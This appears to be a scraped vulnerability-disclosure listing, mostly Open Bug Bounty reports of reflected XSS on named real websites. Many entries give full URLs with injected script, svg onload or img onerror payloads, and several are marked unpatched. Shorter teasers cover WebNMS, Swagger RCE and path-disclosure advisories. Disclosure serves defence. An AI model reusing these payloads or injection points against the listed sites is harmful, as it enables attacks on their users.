WebNMS Framework Server 5.2/5.2 SP1 - Multiple Vulnerabilities

Multiple vulnerabilities in WebNMS Framework Server 5.2 and 5.2 SP1 Discovered by Pedro Ribeiro [email protected], Agile Information Security ========================================================================== Disclosure: 04/07/2016 / Last updated: 08/08/2016 Background on the affected...

jperkinsdistribution.co.uk XSS vulnerability

Vulnerable URL: http://www.jperkinsdistribution.co.uk/search.php?findme=%22%3E%3C/title%3E%27%3E;%3C/script%3E%3Csvg/onload=alert/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| Yes, at 27.07.2017 Latest check for patch:| 27.07.2017 23:14 GMT Vulnerability type:| XSS Vulnerability...

modalshop.cn XSS vulnerability

Vulnerable URL: http://www.modalshop.cn/download.asp?file=Detecting-Proximity-Probe-Cabling-Errors-Using-Dynamic-CalibrationMD-0243.pdf" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

echolink.pgo.chiba.jp XSS vulnerability

Open Bug Bounty ID: OBB-171738 Description| Value ---|--- Affected Website:| echolink.pgo.chiba.jp Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

aviva.fr XSS vulnerability

Vulnerable URL: http://www.aviva.fr/page-de-resultats.html?q=%22%3E%3Cscript%3Ealert%27OPENBUGBOUNTY%27%3C/script%3E%3C%22 Details: Description| Value ---|--- Patched:| Yes, at 01.11.2016 Latest check for patch:| 01.11.2016 15:35 GMT Vulnerability type:| XSS Vulnerability status:| Publicly...

epa.hu XSS vulnerability

Vulnerable URL: http://www.epa.hu/html/vgi/kereses/ujak.phtml?cim=barmi%27%27%3E%20%3C/form%3E%3Cscript%3Ealert%22OPENBUGBOUNTY%22;%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

customerzone.vodafone.co.nz XSS vulnerability

Vulnerable URL: https://customerzone.vodafone.co.nz/selfservice-customerzone/login.jsf?goto=%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

connect.mondadori.it XSS vulnerability

Vulnerable URL: http://connect.mondadori.it/login?urlRitorno=%5B%27http%3A%2F%2Fwww.panorama.it%27%5D=%5B%27PANORAMA2014%27%5D=%5B%27WE%27%5D%22%27%3E%20%3C/form%3E%3Cscript%3Ealert%22OPENBUGBOUNTY%22;%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.20...

sale.euroticket.pl XSS vulnerability

Vulnerable URL: https://sale.euroticket.pl/carriers.php?profile=yt05e%20onmouseover%3dprompt/OPENBUGBOUNTY/%20style=; yt05e Details: Description| Value ---|--- Patched:| Yes, at 24.11.2017 Latest check for patch:| 24.11.2017 11:41 GMT Vulnerability type:| XSS Vulnerability status:| Publicly...

fotofc.ru XSS vulnerability

Vulnerable URL: http://www.fotofc.ru/search/extended.shtml?mode==%22%3E%3C%2Fscript%3E%3Cimg+src%3Dx+onerror%3Dprompt%2FXSSPOSED%2F%3Eanexsrch Details: Description| Value ---|--- Patched:| Yes, at 11.05.2017 Latest check for patch:| 11.05.2017 06:16 GMT Vulnerability type:| XSS Vulnerability...

oceanexplorations.com XSS vulnerability

Vulnerable URL: http://oceanexplorations.com/bh.php?dm=homero.com.mx";;alert'OPENBUGBOUNTY';function zif0// Details: Description| Value ---|--- Patched:| Yes, at 16.07.2016 Latest check for patch:| 16.07.2016 05:58 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

ohiorail.ohio.gov XSS vulnerability

Open Bug Bounty ID: OBB-165879 Description| Value ---|--- Affected Website:| ohiorail.ohio.gov Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

konstnarsnamnden.se XSS vulnerability

Vulnerable URL: http://www.konstnarsnamnden.se/default.aspx?searchcritera=%22%3E%3C%2Fscript%3E%3Cimg+src%3Dx+onerror%3Dprompt%2FXSSPOSED%2F%3Esok=S%C3%B6k=11117 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:|...

stappenvzw.be XSS vulnerability

Vulnerable URL: http://www.stappenvzw.be/zoeken.php?searchstring=" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 7147309 VIP website status:| No Check stappenvzw.be SSL connection...

wholicab.in XSS vulnerability

Vulnerable URL: http://wholicab.in/search/%3C%2Fscript%3E%3Cimg-src%3Dx-onerror%3Dprompt%2FXSSPOSED%2F%3E/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1068951 VIP website status...

info.vassar.edu XSS vulnerability

Vulnerable URL: http://info.vassar.edu/contact.html?contact-form=true=%3Cscript%3Ealert%28%27OPENBUGBOUNTY%27%29%3C/script%3E=registrar Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Ran...

Paragon Initiative Enterprises: Full path disclosure when CSRF validation failed

Hi again , There are Full path disclosure in airship when the CSRF validation failed . It will show the full path with files this is can be useful for an attacker if he need some information about files and path ,identified the script and path . PoC : Host: bridge.cspr.ng User-Agent: Mozilla/5.0...

barilla.fr XSS vulnerability

Vulnerable URL: http://www.barilla.fr/search/risultati.jsp?query=%3Cscript%3Ealert%28%27OPENBUGBOUNTY%27%29%3C%2Fscript%3E=content=Barilla-fr=7=5 Details: Description| Value ---|--- Patched:| Yes, at 24.11.2017 Latest check for patch:| 24.11.2017 11:26 GMT Vulnerability type:| XSS Vulnerability...

Swagger 通过参数注入远程代码执行漏洞

详情来源： R7-2016-06 This disclosure will address a class of vulnerabilities in a Swagger Code Generator in which injectable parameters in a Swagger JSON or YAML file facilitate remote code execution. This vulnerability applies to NodeJS, PHP, Ruby, and Java and probably other languages as well. Othe...

gazoline.net XSS vulnerability

Vulnerable URL: http://gazoline.net/forum/general.php?recherche=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%27OPENBUGBOUNTY%27%3E=sg Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 698246...